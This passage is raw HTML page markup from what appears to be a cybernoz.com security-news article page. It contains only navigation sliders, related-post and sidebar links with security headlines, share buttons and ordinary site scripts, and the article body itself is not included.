href="https://cybernoz.com/why-prompt-engineering-and-context-engineering-both-miss-the-point/">Why Prompt Engineering and Context Engineering Both Miss the Point</a></h2> </div> <!-- .thumb-content /--></div><!-- .container --> </div><!-- .thumb-overlay /--> </div><!-- .slide || .grid-item /--> <div style="background-image: url(https://cybernoz.com/wp-content/uploads/2025/06/What-the-NULL-Wing-FTP-Server-RCE-CVE-2025-47812.png)" class="slide slide-id-176047 tie-slide-1 tie-standard"> <a href="https://cybernoz.com/what-the-null-wing-ftp-server-rce-cve-2025-47812/" class="all-over-thumb-link" aria-label="What the NULL?! Wing FTP Server RCE (CVE-2025-47812)"></a> <div class="thumb-overlay"><div class="container"><span class="post-cat-wrap"><a class="post-cat tie-cat-9893" href="https://cybernoz.com/category/mix/">Mix</a></span><div class="thumb-content"><div class="thumb-meta"><span class="date meta-item tie-icon">June 30, 2025</span></div> <h2 class="thumb-title"><a href="https://cybernoz.com/what-the-null-wing-ftp-server-rce-cve-2025-47812/">What the NULL?! Wing FTP Server RCE (CVE-2025-47812)</a></h2> </div> <!-- .thumb-content /--></div><!-- .container --> </div><!-- .thumb-overlay /--> </div><!-- .slide || .grid-item /--> <div style="background-image: url(https://cybernoz.com/wp-content/uploads/2025/06/tldr-sec-285-AI-Red-Teaming-Detection-Engineering-Field.png)" class="slide slide-id-175535 tie-slide-2 tie-standard"> <a href="https://cybernoz.com/tldr-sec-285-ai-red-teaming-detection-engineering-field-manual-building-appsec-partnerships/" class="all-over-thumb-link" aria-label="[tl;dr sec] #285 – AI Red Teaming, Detection Engineering Field Manual, Building AppSec Partnerships"></a> <div class="thumb-overlay"><div class="container"><span class="post-cat-wrap"><a class="post-cat tie-cat-9893" href="https://cybernoz.com/category/mix/">Mix</a></span><div class="thumb-content"><div class="thumb-meta"><span class="date meta-item tie-icon">June 26, 2025</span></div> <h2 class="thumb-title"><a href="https://cybernoz.com/tldr-sec-285-ai-red-teaming-detection-engineering-field-manual-building-appsec-partnerships/">[tl;dr sec] #285 – AI Red Teaming, Detection Engineering Field Manual, Building AppSec Partnerships</a></h2> </div> <!-- .thumb-content /--></div><!-- .container --> </div><!-- .thumb-overlay /--> </div><!-- .slide || .grid-item /--> <div style="background-image: url(https://cybernoz.com/wp-content/uploads/2025/06/The-Rise-of-AI-Driven-API-Vulnerabilities.png)" class="slide slide-id-175450 tie-slide-3 tie-standard"> <a href="https://cybernoz.com/the-rise-of-ai-driven-api-vulnerabilities/" class="all-over-thumb-link" aria-label="The Rise of AI-Driven API Vulnerabilities"></a> <div class="thumb-overlay"><div class="container"><span class="post-cat-wrap"><a class="post-cat tie-cat-9893" href="https://cybernoz.com/category/mix/">Mix</a></span><div class="thumb-content"><div class="thumb-meta"><span class="date meta-item tie-icon">June 26, 2025</span></div> <h2 class="thumb-title"><a href="https://cybernoz.com/the-rise-of-ai-driven-api-vulnerabilities/">The Rise of AI-Driven API Vulnerabilities</a></h2> </div> <!-- .thumb-content /--></div><!-- .container --> </div><!-- .thumb-overlay /--> </div><!-- .slide || .grid-item /--> <div style="background-image: none" class="slide slide-id-175416 tie-slide-4 tie-standard"> <a href="https://cybernoz.com/dumping-cursor-for-vscode-claude-code/" class="all-over-thumb-link" aria-label="Dumping Cursor for VSCode + Claude Code"></a> <div class="thumb-overlay"><div class="container"><span class="post-cat-wrap"><a class="post-cat tie-cat-9893" href="https://cybernoz.com/category/mix/">Mix</a></span><div class="thumb-content"><div class="thumb-meta"><span class="date meta-item tie-icon">June 26, 2025</span></div> <h2 class="thumb-title"><a href="https://cybernoz.com/dumping-cursor-for-vscode-claude-code/">Dumping Cursor for VSCode + Claude Code</a></h2> </div> <!-- .thumb-content /--></div><!-- .container --> </div><!-- .thumb-overlay /--> </div><!-- .slide || .grid-item /--> </div><!-- .tie-slick-slider /--> </div><!-- .slider-main-container /--> </div><!-- .main-slider-inner /--> </div><!-- .main-slider /--> <div class="wide-slider-nav-wrapper "> <ul class="tie-slider-nav"></ul> <div class="container"> <div class="tie-row"> <div class="tie-col-md-12"> <div class="tie-slick-slider"> <div class="slide tie-slide-5"> <div class="slide-overlay"> <div class="thumb-meta"><span class="date meta-item tie-icon">July 6, 2025</span></div> <h3 class="thumb-title">AI’s Morose Mania</h3> </div> </div><!-- slide /--> <div class="slide tie-slide-6"> <div class="slide-overlay"> <div class="thumb-meta"><span class="date meta-item tie-icon">July 4, 2025</span></div> <h3 class="thumb-title">The End of Work | Daniel Miessler</h3> </div> </div><!-- slide /--> <div class="slide tie-slide-1"> <div class="slide-overlay"> <div class="thumb-meta"><span class="date meta-item tie-icon">July 4, 2025</span></div> <h3 class="thumb-title">We’re All in Fractal Microcults</h3> </div> </div><!-- slide /--> <div class="slide tie-slide-2"> <div class="slide-overlay"> <div class="thumb-meta"><span class="date meta-item tie-icon">July 3, 2025</span></div> <h3 class="thumb-title">[tl;dr sec] #286 – Securing Vibe Coding, Finding Secrets “Oops Commits”, Backdooring IDE Extensions</h3> </div> </div><!-- slide /--> <div class="slide tie-slide-3"> <div class="slide-overlay"> <div class="thumb-meta"><span class="date meta-item tie-icon">July 3, 2025</span></div> <h3 class="thumb-title">What CISA’s BOD 25-01 Means for API Security and How Wallarm Can Help</h3> </div> </div><!-- slide /--> <div class="slide tie-slide-4"> <div class="slide-overlay"> <div class="thumb-meta"><span class="date meta-item tie-icon">July 1, 2025</span></div> <h3 class="thumb-title">Why Prompt Engineering and Context Engineering Both Miss the Point</h3> </div> </div><!-- slide /--> <div class="slide tie-slide-5"> <div class="slide-overlay"> <div class="thumb-meta"><span class="date meta-item tie-icon">June 30, 2025</span></div> <h3 class="thumb-title">What the NULL?! Wing FTP Server RCE (CVE-2025-47812)</h3> </div> </div><!-- slide /--> <div class="slide tie-slide-6"> <div class="slide-overlay"> <div class="thumb-meta"><span class="date meta-item tie-icon">June 26, 2025</span></div> <h3 class="thumb-title">[tl;dr sec] #285 – AI Red Teaming, Detection Engineering Field Manual, Building AppSec Partnerships</h3> </div> </div><!-- slide /--> <div class="slide tie-slide-1"> <div class="slide-overlay"> <div class="thumb-meta"><span class="date meta-item tie-icon">June 26, 2025</span></div> <h3 class="thumb-title">The Rise of AI-Driven API Vulnerabilities</h3> </div> </div><!-- slide /--> <div class="slide tie-slide-2"> <div class="slide-overlay"> <div class="thumb-meta"><span class="date meta-item tie-icon">June 26, 2025</span></div> <h3 class="thumb-title">Dumping Cursor for VSCode + Claude Code</h3> </div> </div><!-- slide /--> </div><!-- .wide_slider_nav /--> </div><!-- .tie-col /--> </div><!-- .tie-row /--> </div><!-- .container /--> </div><!-- #wide-slider-nav-wrapper /--> </div><!-- .slider-area-inner --> </section><!-- .slider-area --> </div><!-- #read-next-block --> <div id="related-posts" class="container-wrapper"> <div class="mag-box-title the-global-title"> <h3>Related Articles</h3> </div> <div class="related-posts-list"> <div class="related-item tie-standard"> <a aria-label="Understanding DevSecOps | HAHWUL" href="https://cybernoz.com/understanding-devsecops-hahwul/" class="post-thumb"><img width="2400" height="2400" src="https://cybernoz.com/wp-content/uploads/2025/06/Understanding-DevSecOps-HAHWUL.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="Understanding DevSecOps | HAHWUL" decoding="async" fetchpriority="high" srcset="https://cybernoz.com/wp-content/uploads/2025/06/Understanding-DevSecOps-HAHWUL.jpg 2400w, https://cybernoz.com/wp-content/uploads/2025/06/Understanding-DevSecOps-HAHWUL-768x768.jpg 768w, https://cybernoz.com/wp-content/uploads/2025/06/Understanding-DevSecOps-HAHWUL-1536x1536.jpg 1536w, https://cybernoz.com/wp-content/uploads/2025/06/Understanding-DevSecOps-HAHWUL-2048x2048.jpg 2048w" sizes="(max-width: 2400px) 100vw, 2400px" title="Understanding DevSecOps | HAHWUL 2"></a> <h3 class="post-title"><a href="https://cybernoz.com/understanding-devsecops-hahwul/">Understanding DevSecOps | HAHWUL</a></h3> <div class="post-meta clearfix"><span class="date meta-item tie-icon">June 24, 2025</span></div><!-- .post-meta --> </div><!-- .related-item /--> <div class="related-item tie-standard"> <a aria-label="what’s best for your business?" href="https://cybernoz.com/whats-best-for-your-business/" class="post-thumb"><img width="1200" height="675" src="https://cybernoz.com/wp-content/uploads/2025/06/whats-best-for-your-business.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="what’s best for your business?" decoding="async" srcset="https://cybernoz.com/wp-content/uploads/2025/06/whats-best-for-your-business.jpg 1200w, https://cybernoz.com/wp-content/uploads/2025/06/whats-best-for-your-business-768x432.jpg 768w" sizes="(max-width: 1200px) 100vw, 1200px" title="what’s best for your business? 3"></a> <h3 class="post-title"><a href="https://cybernoz.com/whats-best-for-your-business/">what’s best for your business?</a></h3> <div class="post-meta clearfix"><span class="date meta-item tie-icon">June 24, 2025</span></div><!-- .post-meta --> </div><!-- .related-item /--> <div class="related-item tie-standard"> <a aria-label="How to Securing GraphQL | HAHWUL" href="https://cybernoz.com/how-to-securing-graphql-hahwul/" class="post-thumb"><img width="2400" height="2400" src="https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-GraphQL-HAHWUL.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="How to Securing GraphQL | HAHWUL" decoding="async" srcset="https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-GraphQL-HAHWUL.jpg 2400w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-GraphQL-HAHWUL-768x768.jpg 768w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-GraphQL-HAHWUL-1536x1536.jpg 1536w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-GraphQL-HAHWUL-2048x2048.jpg 2048w" sizes="(max-width: 2400px) 100vw, 2400px" title="How to Securing GraphQL | HAHWUL 4"></a> <h3 class="post-title"><a href="https://cybernoz.com/how-to-securing-graphql-hahwul/">How to Securing GraphQL | HAHWUL</a></h3> <div class="post-meta clearfix"><span class="date meta-item tie-icon">June 23, 2025</span></div><!-- .post-meta --> </div><!-- .related-item /--> <div class="related-item tie-standard"> <a aria-label="How to Securing SSE | HAHWUL" href="https://cybernoz.com/how-to-securing-sse-hahwul/" class="post-thumb"><img width="2400" height="2400" src="https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-SSE-HAHWUL.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="How to Securing SSE | HAHWUL" decoding="async" loading="lazy" srcset="https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-SSE-HAHWUL.jpg 2400w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-SSE-HAHWUL-768x768.jpg 768w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-SSE-HAHWUL-1536x1536.jpg 1536w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-SSE-HAHWUL-2048x2048.jpg 2048w" sizes="auto, (max-width: 2400px) 100vw, 2400px" title="How to Securing SSE | HAHWUL 5"></a> <h3 class="post-title"><a href="https://cybernoz.com/how-to-securing-sse-hahwul/">How to Securing SSE | HAHWUL</a></h3> <div class="post-meta clearfix"><span class="date meta-item tie-icon">June 23, 2025</span></div><!-- .post-meta --> </div><!-- .related-item /--> <div class="related-item tie-standard"> <a aria-label="How to Securing Web Socket" href="https://cybernoz.com/how-to-securing-web-socket/" class="post-thumb"><img width="2400" height="2400" src="https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-Web-Socket.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="How to Securing Web Socket" decoding="async" loading="lazy" srcset="https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-Web-Socket.jpg 2400w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-Web-Socket-768x768.jpg 768w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-Web-Socket-1536x1536.jpg 1536w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Securing-Web-Socket-2048x2048.jpg 2048w" sizes="auto, (max-width: 2400px) 100vw, 2400px" title="How to Securing Web Socket 6"></a> <h3 class="post-title"><a href="https://cybernoz.com/how-to-securing-web-socket/">How to Securing Web Socket</a></h3> <div class="post-meta clearfix"><span class="date meta-item tie-icon">June 23, 2025</span></div><!-- .post-meta --> </div><!-- .related-item /--> <div class="related-item tie-standard"> <a aria-label="How to Secure Cookies | HAHWUL" href="https://cybernoz.com/how-to-secure-cookies-hahwul-2/" class="post-thumb"><img width="2400" height="2400" src="https://cybernoz.com/wp-content/uploads/2025/06/How-to-Secure-Cookies-HAHWUL.jpg" class="attachment-jannah-image-large size-jannah-image-large wp-post-image" alt="How to Secure Cookies | HAHWUL" decoding="async" loading="lazy" srcset="https://cybernoz.com/wp-content/uploads/2025/06/How-to-Secure-Cookies-HAHWUL.jpg 2400w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Secure-Cookies-HAHWUL-768x768.jpg 768w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Secure-Cookies-HAHWUL-1536x1536.jpg 1536w, https://cybernoz.com/wp-content/uploads/2025/06/How-to-Secure-Cookies-HAHWUL-2048x2048.jpg 2048w" sizes="auto, (max-width: 2400px) 100vw, 2400px" title="How to Secure Cookies | HAHWUL 7"></a> <h3 class="post-title"><a href="https://cybernoz.com/how-to-secure-cookies-hahwul-2/">How to Secure Cookies | HAHWUL</a></h3> <div class="post-meta clearfix"><span class="date meta-item tie-icon">June 23, 2025</span></div><!-- .post-meta --> </div><!-- .related-item /--> </div><!-- .related-posts-list /--> </div><!-- #related-posts /--> </div><!-- .post-components /--> </div><!-- .main-content --> <aside class="sidebar tie-col-md-4 tie-col-xs-12 normal-side" aria-label="Primary Sidebar"> <div class="theiaStickySidebar"> <div id="posts-list-widget-3" class="container-wrapper widget posts-list"><div class="widget-title the-global-title"><div class="the-subtitle">Recent Posts</div></div><div class="widget-posts-list-wrapper"><div class="widget-posts-list-container" ><ul class="posts-list-items widget-posts-wrapper"> <li class="widget-single-post-item widget-post-list tie-standard"> <div class="post-widget-thumbnail"> <a aria-label="AI’s Morose Mania" href="https://cybernoz.com/ais-morose-mania/" class="post-thumb"><img width="1200" height="985" src="https://cybernoz.com/wp-content/uploads/2025/07/AIs-Morose-Mania.jpg" class="attachment-jannah-image-small size-jannah-image-small tie-small-image wp-post-image" alt="Hide the Pain Harold - smiling through the existential dread" decoding="async" loading="lazy" srcset="https://cybernoz.com/wp-content/uploads/2025/07/AIs-Morose-Mania.jpg 1200w, https://cybernoz.com/wp-content/uploads/2025/07/AIs-Morose-Mania-768x630.jpg 768w" sizes="auto, (max-width: 1200px) 100vw, 1200px" title="AI's Morose Mania 8"></a> </div><!-- post-alignleft /--> <div class="post-widget-body "> <a class="post-title the-subtitle" href="https://cybernoz.com/ais-morose-mania/">AI’s Morose Mania</a> <div class="post-meta"> <span class="date meta-item tie-icon">July 6, 2025</span> </div> </div> </li> <li class="widget-single-post-item widget-post-list tie-standard"> <div class="post-widget-thumbnail"> <a aria-label="North Korea-linked threat actors spread macOS NimDoor malware via fake Zoom updates" href="https://cybernoz.com/north-korea-linked-threat-actors-spread-macos-nimdoor-malware-via-fake-zoom-updates/" class="post-thumb"><img width="1200" height="675" src="https://cybernoz.com/wp-content/uploads/2025/06/DOJ-moves-to-seize-774M-in-crypto-linked-to-North.jpg" class="attachment-jannah-image-small size-jannah-image-small tie-small-image wp-post-image" alt="DOJ moves to seize $7.74M in crypto linked to North Korean IT Worker Scam" decoding="async" loading="lazy" srcset="https://cybernoz.com/wp-content/uploads/2025/06/DOJ-moves-to-seize-774M-in-crypto-linked-to-North.jpg 1200w, https://cybernoz.com/wp-content/uploads/2025/06/DOJ-moves-to-seize-774M-in-crypto-linked-to-North-768x432.jpg 768w" sizes="auto, (max-width: 1200px) 100vw, 1200px" title="North Korea-linked threat actors spread macOS NimDoor malware via fake Zoom updates 9"></a> </div><!-- post-alignleft /--> <div class="post-widget-body "> <a class="post-title the-subtitle" href="https://cybernoz.com/north-korea-linked-threat-actors-spread-macos-nimdoor-malware-via-fake-zoom-updates/">North Korea-linked threat actors spread macOS NimDoor malware via fake Zoom updates</a> <div class="post-meta"> <span class="date meta-item tie-icon">July 5, 2025</span> </div> </div> </li> <li class="widget-single-post-item widget-post-list tie-standard"> <div class="post-widget-thumbnail"> <a aria-label="Ingram Micro outage caused by SafePay ransomware attack" href="https://cybernoz.com/ingram-micro-outage-caused-by-safepay-ransomware-attack/" class="post-thumb"><img width="1600" height="900" src="https://cybernoz.com/wp-content/uploads/2025/07/Ingram-Micro-outage-caused-by-SafePay-ransomware-attack.jpg" class="attachment-jannah-image-small size-jannah-image-small tie-small-image wp-post-image" alt="Ingram Micro" decoding="async" loading="lazy" srcset="https://cybernoz.com/wp-content/uploads/2025/07/Ingram-Micro-outage-caused-by-SafePay-ransomware-attack.jpg 1600w, https://cybernoz.com/wp-content/uploads/2025/07/Ingram-Micro-outage-caused-by-SafePay-ransomware-attack-768x432.jpg 768w, https://cybernoz.com/wp-content/uploads/2025/07/Ingram-Micro-outage-caused-by-SafePay-ransomware-attack-1536x864.jpg 1536w" sizes="auto, (max-width: 1600px) 100vw, 1600px" title="Ingram Micro outage caused by SafePay ransomware attack 10"></a> </div><!-- post-alignleft /--> <div class="post-widget-body "> <a class="post-title the-subtitle" href="https://cybernoz.com/ingram-micro-outage-caused-by-safepay-ransomware-attack/">Ingram Micro outage caused by SafePay ransomware attack</a> <div class="post-meta"> <span class="date meta-item tie-icon">July 5, 2025</span> </div> </div> </li> <li class="widget-single-post-item widget-post-list tie-standard"> <div class="post-widget-thumbnail"> <a aria-label="New Phishing Attack Impersonates as DWP Attacking Users to Steal Credit Card Data" href="https://cybernoz.com/new-phishing-attack-impersonates-as-dwp-attacking-users-to-steal-credit-card-data/" class="post-thumb"><img width="1600" height="900" src="https://cybernoz.com/wp-content/uploads/2025/07/New-Phishing-Attack-Impersonates-as-DWP-Attacking-Users-to-Steal.jpeg" class="attachment-jannah-image-small size-jannah-image-small tie-small-image wp-post-image" alt="New Phishing Attack Impersonates as DWP Attacking Users to Steal Credit Card Data" decoding="async" loading="lazy" srcset="https://cybernoz.com/wp-content/uploads/2025/07/New-Phishing-Attack-Impersonates-as-DWP-Attacking-Users-to-Steal.jpeg 1600w, https://cybernoz.com/wp-content/uploads/2025/07/New-Phishing-Attack-Impersonates-as-DWP-Attacking-Users-to-Steal-768x432.jpeg 768w, https://cybernoz.com/wp-content/uploads/2025/07/New-Phishing-Attack-Impersonates-as-DWP-Attacking-Users-to-Steal-1536x864.jpeg 1536w" sizes="auto, (max-width: 1600px) 100vw, 1600px" title="New Phishing Attack Impersonates as DWP Attacking Users to Steal Credit Card Data 11"></a> </div><!-- post-alignleft /--> <div class="post-widget-body "> <a class="post-title the-subtitle" href="https://cybernoz.com/new-phishing-attack-impersonates-as-dwp-attacking-users-to-steal-credit-card-data/">New Phishing Attack Impersonates as DWP Attacking Users to Steal Credit Card Data</a> <div class="post-meta"> <span class="date meta-item tie-icon">July 5, 2025</span> </div> </div> </li> <li class="widget-single-post-item widget-post-list tie-standard"> <div class="post-widget-thumbnail"> <a aria-label="Writable File in Lenovo’s Windows Directory Enables a Stealthy AppLocker Bypass" href="https://cybernoz.com/writable-file-in-lenovos-windows-directory-enables-a-stealthy-applocker-bypass/" class="post-thumb"><img width="1600" height="900" src="https://cybernoz.com/wp-content/uploads/2025/07/Writable-File-in-Lenovos-Windows-Directory-Enables-a-Stealthy-AppLocker.webp.jpeg" class="attachment-jannah-image-small size-jannah-image-small tie-small-image wp-post-image" alt="Writable File in Lenovo’s Windows Directory Enables a Stealthy AppLocker Bypass" decoding="async" loading="lazy" srcset="https://cybernoz.com/wp-content/uploads/2025/07/Writable-File-in-Lenovos-Windows-Directory-Enables-a-Stealthy-AppLocker.webp.jpeg 1600w, https://cybernoz.com/wp-content/uploads/2025/07/Writable-File-in-Lenovos-Windows-Directory-Enables-a-Stealthy-AppLocker.webp-768x432.jpeg 768w, https://cybernoz.com/wp-content/uploads/2025/07/Writable-File-in-Lenovos-Windows-Directory-Enables-a-Stealthy-AppLocker.webp-1536x864.jpeg 1536w" sizes="auto, (max-width: 1600px) 100vw, 1600px" title="Writable File in Lenovo’s Windows Directory Enables a Stealthy AppLocker Bypass 12"></a> </div><!-- post-alignleft /--> <div class="post-widget-body "> <a class="post-title the-subtitle" href="https://cybernoz.com/writable-file-in-lenovos-windows-directory-enables-a-stealthy-applocker-bypass/">Writable File in Lenovo’s Windows Directory Enables a Stealthy AppLocker Bypass</a> <div class="post-meta"> <span class="date meta-item tie-icon">July 5, 2025</span> </div> </div> </li> </ul></div></div><div class="clearfix"></div></div><!-- .widget /--> </div><!-- .theiaStickySidebar /--> </aside><!-- .sidebar /--> </div><!-- .main-content-row /--></div><!-- #content /--> <footer id="footer" class="site-footer dark-skin dark-widgetized-area"> </footer><!-- #footer /--> <div id="share-buttons-mobile" class="share-buttons share-buttons-mobile"> <div class="share-links icons-only"> <a href="https://www.facebook.com/sharer.php?u=https://cybernoz.com/basic-recon-to-rce-iii/" rel="external noopener nofollow" title="Facebook" target="_blank" class="facebook-share-btn " data-raw="https://www.facebook.com/sharer.php?u={post_link}"> <span class="share-btn-icon tie-icon-facebook"></span> <span class="screen-reader-text">Facebook</span> </a> <a href="https://twitter.com/intent/tweet?text=Basic%20recon%20to%20RCE%20III&url=https://cybernoz.com/basic-recon-to-rce-iii/" rel="external noopener nofollow" title="X" target="_blank" class="twitter-share-btn " data-raw="https://twitter.com/intent/tweet?text={post_title}&url={post_link}"> <span class="share-btn-icon tie-icon-twitter"></span> <span class="screen-reader-text">X</span> </a> <a href="https://www.linkedin.com/shareArticle?mini=true&url=https://cybernoz.com/basic-recon-to-rce-iii/&title=Basic%20recon%20to%20RCE%20III" rel="external noopener nofollow" title="LinkedIn" target="_blank" class="linkedin-share-btn " data-raw="https://www.linkedin.com/shareArticle?mini=true&url={post_full_link}&title={post_title}"> <span class="share-btn-icon tie-icon-linkedin"></span> <span class="screen-reader-text">LinkedIn</span> </a> <a href="https://pinterest.com/pin/create/button/?url=https://cybernoz.com/basic-recon-to-rce-iii/&description=Basic%20recon%20to%20RCE%20III&media=https://cybernoz.com/wp-content/uploads/2023/03/Basic-recon-to-RCE-III.png" rel="external noopener nofollow" title="Pinterest" target="_blank" class="pinterest-share-btn " data-raw="https://pinterest.com/pin/create/button/?url={post_link}&description={post_title}&media={post_img}"> <span class="share-btn-icon tie-icon-pinterest"></span> <span class="screen-reader-text">Pinterest</span> </a> <a href="https://reddit.com/submit?url=https://cybernoz.com/basic-recon-to-rce-iii/&title=Basic%20recon%20to%20RCE%20III" rel="external noopener nofollow" title="Reddit" target="_blank" class="reddit-share-btn " data-raw="https://reddit.com/submit?url={post_link}&title={post_title}"> <span class="share-btn-icon tie-icon-reddit"></span> <span class="screen-reader-text">Reddit</span> </a> <a href="https://api.whatsapp.com/send?text=Basic%20recon%20to%20RCE%20III%20https://cybernoz.com/basic-recon-to-rce-iii/" rel="external noopener nofollow" title="WhatsApp" target="_blank" class="whatsapp-share-btn " data-raw="https://api.whatsapp.com/send?text={post_title}%20{post_link}"> <span class="share-btn-icon tie-icon-whatsapp"></span> <span class="screen-reader-text">WhatsApp</span> </a> <a href="https://telegram.me/share/url?url=https://cybernoz.com/basic-recon-to-rce-iii/&text=Basic%20recon%20to%20RCE%20III" rel="external noopener nofollow" title="Telegram" target="_blank" class="telegram-share-btn " data-raw="https://telegram.me/share/url?url={post_link}&text={post_title}"> <span class="share-btn-icon tie-icon-paper-plane"></span> <span class="screen-reader-text">Telegram</span> </a> </div><!-- .share-links /--> </div><!-- .share-buttons /--> <div class="mobile-share-buttons-spacer"></div> </div><!-- #tie-wrapper /--> </div><!-- #tie-container /--> </div><!-- .background-overlay /--> <noscript> <div> <img src="https://mc.yandex.ru/watch/102510865" style="position:absolute; left:-9999px;" alt=""/> </div> </noscript> <script type="speculationrules"> {"prefetch":[{"source":"document","where":{"and":[{"href_matches":"\/*"},{"not":{"href_matches":["\/wp-*.php","\/wp-admin\/*","\/wp-content\/uploads\/*","\/wp-content\/*","\/wp-content\/plugins\/*","\/wp-content\/themes\/jannah\/*","\/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]} </script> <div id="is-scroller-outer"><div id="is-scroller"></div></div><div id="fb-root"></div> <div id="tie-popup-search-mobile" class="tie-popup tie-popup-search-wrap" style="display: none;"> <a href="#" class="tie-btn-close remove big-btn light-btn"> <span class="screen-reader-text">Close</span> </a> <div class="popup-search-wrap-inner"> <div class="live-search-parent pop-up-live-search" data-skin="live-search-popup" aria-label="Search"> <form method="get" class="tie-popup-search-form" action="https://cybernoz.com/"> <input class="tie-popup-search-input " inputmode="search" type="text" name="s" title="Search for" autocomplete="off" placeholder="Search for" /> <button class="tie-popup-search-submit" type="submit"> <span class="tie-icon-search tie-search-icon" aria-hidden="true"></span> <span class="screen-reader-text">Search for</span> </button> </form> </div><!-- .pop-up-live-search /--> </div><!-- .popup-search-wrap-inner /--> </div><!-- .tie-popup-search-wrap /--> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/wp-yandex-metrika/assets/contactFormSeven.min.js?ver=1.2.1" id="wp-yandex-metrika_contact-form-7-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-includes/js/dist/hooks.min.js?ver=4d63a3d491d11ffd8ac6" id="wp-hooks-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6" id="wp-i18n-js"></script> <script type="text/javascript" id="wp-i18n-js-after"> /* <![CDATA[ */ wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } ); /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=6.1" id="swv-js"></script> <script type="text/javascript" id="contact-form-7-js-before"> /* <![CDATA[ */ var wpcf7 = { "api": { "root": "https:\/\/cybernoz.com\/wp-json\/", "namespace": "contact-form-7\/v1" } }; /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/contact-form-7/includes/js/index.js?ver=6.1" id="contact-form-7-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/mousewheel-smooth-scroll/js/lenis.min.js?ver=1.1.19" id="lenis-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/uploads/wpmss/lenis-init.min.js?ver=1741843726" id="lenis-init-js"></script> <script type="text/javascript" id="tie-scripts-js-extra"> /* <![CDATA[ */ var tie = {"is_rtl":"","ajaxurl":"https:\/\/cybernoz.com\/wp-admin\/admin-ajax.php","is_side_aside_light":"","is_taqyeem_active":"","is_sticky_video":"","mobile_menu_top":"","mobile_menu_active":"","mobile_menu_parent":"","lightbox_all":"","lightbox_gallery":"","lightbox_skin":"dark","lightbox_thumb":"vertical","lightbox_arrows":"","is_singular":"1","autoload_posts":"","reading_indicator":"","lazyload":"","select_share":"","select_share_twitter":"","select_share_facebook":"","select_share_linkedin":"","select_share_email":"","facebook_app_id":"5303202981","twitter_username":"","responsive_tables":"","ad_blocker_detector":"","sticky_behavior":"default","sticky_desktop":"true","sticky_mobile":"true","sticky_mobile_behavior":"default","ajax_loader":"<div class=\"loader-overlay\"><div class=\"spinner-circle\"><\/div><\/div>","type_to_search":"","lang_no_results":"Nothing Found","sticky_share_mobile":"true","sticky_share_post":"","sticky_share_post_menu":""}; /* ]]> */ </script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/jannah/assets/js/scripts.min.js?ver=7.4.1" id="tie-scripts-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/jannah/assets/js/sliders.min.js?ver=7.4.1" id="tie-js-sliders-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/jannah/assets/js/shortcodes.js?ver=7.4.1" id="tie-js-shortcodes-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/jannah/assets/js/desktop.min.js?ver=7.4.1" id="tie-js-desktop-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/themes/jannah/assets/js/single.min.js?ver=7.4.1" id="tie-js-single-js"></script> <script type="text/javascript" src="https://cybernoz.com/wp-content/plugins/google-site-kit/dist/assets/js/googlesitekit-events-provider-contact-form-7-84e9a1056bc4922b7cbd.js" id="googlesitekit-events-provider-contact-form-7-js" defer></script> <script type='text/javascript'> !function(t){"use strict";t.loadCSS||(t.loadCSS=function(){});var e=loadCSS.relpreload={};if(e.support=function(){var e;try{e=t.document.createElement("link").relList.supports("preload")}catch(t){e=!1}return function(){return e}}(),e.bindMediaToggle=function(t){var e=t.media||"all";function a(){t.addEventListener?t.removeEventListener("load",a):t.attachEvent&&t.detachEvent("onload",a),t.setAttribute("onload",null),t.media=e}t.addEventListener?t.addEventListener("load",a):t.attachEvent&&t.attachEvent("onload",a),setTimeout(function(){t.rel="stylesheet",t.media="only x"}),setTimeout(a,3e3)},e.poly=function(){if(!e.support())for(var a=t.document.getElementsByTagName("link"),n=0;n<a.length;n++){var o=a[n];"preload"!==o.rel||"style"!==o.getAttribute("as")||o.getAttribute("data-loadcss")||(o.setAttribute("data-loadcss",!0),e.bindMediaToggle(o))}},!e.support()){e.poly();var a=t.setInterval(e.poly,500);t.addEventListener?t.addEventListener("load",function(){e.poly(),t.clearInterval(a)}):t.attachEvent&&t.attachEvent("onload",function(){e.poly(),t.clearInterval(a)})}"undefined"!=typeof exports?exports.loadCSS=loadCSS:t.loadCSS=loadCSS}("undefined"!=typeof global?global:this); </script> <script type='text/javascript'> var c = document.body.className; c = 